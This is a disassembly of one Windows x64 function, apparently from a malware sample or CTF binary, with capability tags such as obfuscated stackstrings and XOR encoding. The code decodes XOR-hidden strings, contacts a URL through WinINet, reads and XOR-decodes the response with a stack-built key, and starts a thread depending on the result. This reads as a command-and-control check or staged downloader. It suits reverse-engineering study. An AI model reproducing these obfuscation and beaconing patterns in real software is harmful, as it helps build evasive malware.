Function at 0x1400b1330
Capabilities:
Contain obfuscated stackstrings
Create http request
Create thread
Encode data using xor
Read data from internet
Receive data

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r13
lea rbp, [rsp - 0x1170]
mov eax, 0x1270
call fcn.1400c59a0
sub rsp, rax
mov rax, qword [0x14016c040]
xor rax, rsp
mov qword [rbp + 0x1160], rax
xor r13d, r13d
mov rdi, r8
mov qword [rsp + 0x28], r13
lea r8, [0x1400b0790]
xor r9d, r9d
mov dword [rsp + 0x20], r13d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rbx, rax
call fcn.1400b09b0
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__difftime64]
comisd xmm0, xmmword [0x1401533a0]
jmp 0x1400b13fd
xorps xmm0, xmm0
mov qword [rsp + 0x12a8], r14
xorps xmm1, xmm1
mov qword [rsp + 0x12b8], r15
mov rsi, 0xffffffffffffffff
movups xmmword [rbp + 0x118], xmm0
mov r8, rsi
movdqu xmmword [rbp + 0x128], xmm1
nop dword [rax]
inc r8
cmp byte [rdi + r8], r13b
jne 0x1400b1430
mov rdx, rdi
lea rcx, [rbp + 0x118]
call fcn.140003d60
lea rdx, [rbp - 0x70]
lea rcx, [0x140170950]
call fcn.140003950
cmp qword [rbp - 0x58], 0xf
lea rcx, [rbp - 0x70]
mov dword [rsp + 0x20], r13d
cmova rcx, qword [rbp - 0x70]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.WININET.dll_InternetOpenA]
lea rcx, [rbp - 0x70]
mov r15, rax
call fcn.140007360
test r15, r15
jmp 0x1400b1643
lea rcx, [rbp - 0x50]
call fcn.1400c27d0
movdqa xmm1, xmmword [0x140153520]
lea rbx, str.___8_rgg_8_f___f__.g_____f8_8w__:___uH
xorps xmm0, xmm0
lea r14, [0x14017099d]
movups xmmword [rsp + 0x30], xmm0
mov byte [rsp + 0x30], r13b
mov rdi, rax
movdqu xmmword [rsp + 0x40], xmm1
nop dword [rax + rax]
movzx r9d, byte [rbx]
mov rcx, qword [rsp + 0x40]
xor r9b, 0x48
mov rdx, qword [rsp + 0x48]
cmp rcx, rdx
jae 0x1400b16ba
lea rax, [rcx + 1]
cmp rdx, 0xf
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x30]
cmova rax, qword [rsp + 0x30]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], r13b
jmp 0x1400b16c4
lea rcx, [rsp + 0x30]
call fcn.1400077b0
inc rbx
cmp rbx, r14
jne 0x1400b1680
mov r9, rdi
lea r8, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.14000daa0
cmp qword [rsp + 0x68], 0xf
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x28], r13
mov rcx, r15
cmova rdx, qword [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 0x400100
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea rcx, [rsp + 0x50]
mov r14, rax
call fcn.140007360
lea rcx, [rsp + 0x30]
call fcn.140007360
lea rcx, [rbp - 0x50]
call fcn.140007360
test r14, r14
jne 0x1400b18c8
mov qword [rsp + 0x12a0], r12
call qword [sym.imp.KERNEL32.dll_GetLastError]
movdqa xmm1, xmmword [0x140153520]
lea rdi, [0x140170838]
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
xorps xmm0, xmm0
movups xmmword [rbp + 0x138], xmm0
mov byte [rbp + 0x138], r13b
mov ebx, eax
movdqu xmmword [rbp + 0x148], xmm1
nop dword [rax]
nop word [rax + rax]
movzx r9d, byte [rdi]
mov rcx, qword [rbp + 0x148]
xor r9b, 0x79
mov rdx, qword [rbp + 0x150]
cmp rcx, rdx
jae 0x1400b17c4
lea rax, [rcx + 1]
cmp rdx, 0xf
mov qword [rbp + 0x148], rax
lea rax, [rbp + 0x138]
cmova rax, qword [rbp + 0x138]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], r13b
jmp 0x1400b17d0
lea rcx, [rbp + 0x138]
call fcn.1400077b0
inc rdi
lea rax, [0x140170856]
cmp rdi, rax
jne 0x1400b1780
cmp qword [rbp + 0x150], 0xf
lea rdx, [rbp + 0x138]
mov r8, qword [rbp + 0x148]
mov rcx, r12
cmova rdx, qword [rbp + 0x138]
call fcn.14000e0c0
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rcx, [rbp + 0x138]
call fcn.140007360
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [rsp + 0x70]
lea rcx, [0x1401708dc]
call fcn.1400037f0
cmp qword [rbp - 0x78], 0xf
lea rdi, [rsp + 0x70]
mov r12, qword [rsp + 0x12a0]
lea r9, [rbp + 0x14d]
cmova rdi, qword [rsp + 0x70]
nop word [rax + rax]
dec r9
mov eax, 0xcccccccd
mul ebx
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub bl, cl
add bl, 0x30
mov byte [r9], bl
mov ebx, edx
test edx, edx
jne 0x1400b1860
lea r8, [rbp + 0x14d]
mov rdx, r9
lea rcx, [rbp - 0x30]
call fcn.14000df90
cmp qword [rbp - 0x18], 0xf
lea rdx, [rbp - 0x30]
mov r8, rdi
cmova rdx, qword [rbp - 0x30]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, [rbp - 0x30]
call fcn.140007360
lea rcx, [rsp + 0x70]
call fcn.140007360
xorps xmm0, xmm0
mov dword [rbp + 0xd0], r13d
xor r8d, r8d
mov qword [rbp + 0xe8], r13
lea rdx, [0x1400ef210]
mov qword [rbp + 0xf0], r13
lea rcx, [rbp + 0xd8]
movups xmmword [rbp + 0xd8], xmm0
call fcn.140003d60
lea r9, [rbp + 0xd0]
mov r8d, 0x1000
lea rdx, [rbp + 0x160]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400b1970
nop
cmp dword [rbp + 0xd0], r13d
je 0x1400b1970
lea rax, [rbp + 0x160]
mov r8, rsi
inc r8
cmp byte [rax + r8], r13b
jne 0x1400b1933
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0xd8]
call fcn.14000cde0
lea r9, [rbp + 0xd0]
mov r8d, 0x1000
lea rdx, [rbp + 0x160]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400b1920
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, 0x20
mov qword [rbp + 0x100], r13
call fcn.1400c48d0
movdqa xmm0, xmmword [0x140153530]
lea rdx, [rbp + 0xd8]
movdqu xmmword [rbp + 0x108], xmm0
mov qword [rbp + 0xf8], rax
movaps xmm0, xmmword [rbp + 0x160]
movups xmmword [rax], xmm0
mov ecx, dword [rbp + 0x170]
mov dword [rax + 0x10], ecx
lea rcx, [rbp + 0xb0]
mov byte [rax + 0x14], r13b
mov dword [rbp + 0x138], 0x63616c62
mov dword [rbp + 0x13c], 0x74756f6b
mov dword [rbp + 0x140], 0x77746f64
mov word [rbp + 0x144], 0x6674
call fcn.1400071c0
mov r15, qword [rsp + 0x12b8]
mov r10d, r13d
cmp qword [rbp + 0xe8], r10
jbe 0x1400b1aa0
mov r9, r13
mov rcx, r13
movabs r11, 0x2492492492492493
nop dword [rax]
nop word [rax + rax]
cmp qword [rbp + 0xf0], 0xf
lea r8, [rbp + 0xd8]
mov rax, r11
lea r9, [r9 + 1]
cmova r8, qword [rbp + 0xd8]
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 3
imul rax, rax, 0xe
sub rcx, rax
lea rax, [rbp + 0xb0]
movzx ecx, byte [rbp + rcx + 0x138]
xor cl, byte [r8 + r9 - 1]
cmp qword [rbp + 0xc8], 0xf
cmova rax, qword [rbp + 0xb0]
inc r10d
mov byte [rax + r9 - 1], cl
movsxd rcx, r10d
cmp rcx, qword [rbp + 0xe8]
jb 0x1400b1a30
mov r9, qword [rbp + 0xc8]
lea rdx, [rbp + 0xb0]
mov r8, qword [rbp + 0xb0]
cmp r9, 0xf
mov rbx, qword [rbp + 0xc0]
cmova rdx, r8
test rbx, rbx
je 0x1400b1af2
lea rax, [rbx - 1]
mov rcx, rsi
cmp rax, rsi
cmovb rcx, rax
add rcx, rdx
cmp byte [rcx], 0x23
jne 0x1400b1aed
nop
cmp rcx, rdx
je 0x1400b1af2
dec rcx
cmp byte [rcx], 0x23
je 0x1400b1ae0
sub rcx, rdx
jmp 0x1400b1af5
mov rcx, rsi
lea rdx, [rcx + 1]
cmp rbx, rdx
jb 0x1400b20ba
mov rax, rbx
lea rcx, [rbp + 0xb0]
sub rax, rdx
cmp rax, rsi
cmovb rsi, rax
cmp r9, 0xf
cmova rcx, r8
sub rbx, rsi
add rcx, rdx
mov r8, rbx
sub r8, rdx
inc r8
lea rdx, [rcx + rsi]
call sub.VCRUNTIME140.dll_memmove
lea rcx, [rsp + 0x70]
mov qword [rbp + 0xc0], rbx
call fcn.1400c27d0
mov rcx, qword [rbp + 0xc0]
cmp qword [rax + 0x10], rcx
lea rcx, [rsp + 0x70]
setb bl
call fcn.140007360
test bl, bl
je 0x1400b1c29
nop word [rax + rax]
mov r8, qword [rbp + 0xc8]
lea r10, [rbp + 0xb0]
mov r9, qword [rbp + 0xb0]
lea rcx, [rbp + 0xb0]
mov rbx, qword [rbp + 0xc0]
lea rax, [rbp + 0xb0]
cmp r8, 0xf
cmova r10, r9
add r10, rbx
cmp r8, 0xf
cmova rcx, r9
dec rcx
add rcx, rbx
cmp r8, 0xf
mov rdx, rcx
cmova rax, r9
sub r10, rcx
sub rdx, rax
lea rcx, [rbp + 0xb0]
mov rax, rbx
sub rax, rdx
cmp rax, r10
cmovb r10, rax
cmp r8, 0xf
cmova rcx, r9
sub rbx, r10
add rcx, rdx
mov r8, rbx
sub r8, rdx
inc r8
lea rdx, [rcx + r10]
call sub.VCRUNTIME140.dll_memmove
lea rcx, [rsp + 0x70]
mov qword [rbp + 0xc0], rbx
call fcn.1400c27d0
mov rcx, qword [rbp + 0xc0]
cmp qword [rax + 0x10], rcx
lea rcx, [rsp + 0x70]
setb bl
call fcn.140007360
test bl, bl
jne 0x1400b1b70
lea rcx, [rbp - 0x50]
call fcn.1400c27d0
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x1400b1c3f
mov rdx, qword [rax]
cmp qword [rbp + 0xc8], 0xf
lea rcx, [rbp + 0xb0]
cmova rcx, qword [rbp + 0xb0]
sub rdx, rcx
nop dword [rax]
movzx eax, byte [rcx]
cmp al, byte [rcx + rdx]
jne 0x1400b1c74
inc rcx
test al, al
jne 0x1400b1c60
mov ebx, r13d
jmp 0x1400b1c79
sbb ebx, ebx
or ebx, 1
lea rcx, [rbp - 0x50]
call fcn.140007360
test ebx, ebx
jmp 0x1400b203d
call fcn.1400b6b20
xor r9d, r9d
mov qword [rsp + 0x28], r13
lea r8, [fcn.140016f50]
mov dword [rsp + 0x20], r13d
mov edx, 0x1000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, [rbp + 0xb0]
call fcn.140007360
lea rcx, [rbp + 0xf8]
call fcn.140007360
lea rcx, [rbp + 0xd8]
call fcn.140007360
lea rcx, [rbp + 0x118]
call fcn.140007360
mov r14, qword [rsp + 0x12a8]
xor eax, eax
mov rcx, qword [rbp + 0x1160]
xor rcx, rsp
call fcn.1400c4790
add rsp, 0x1270
pop r13
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.14000d040
int3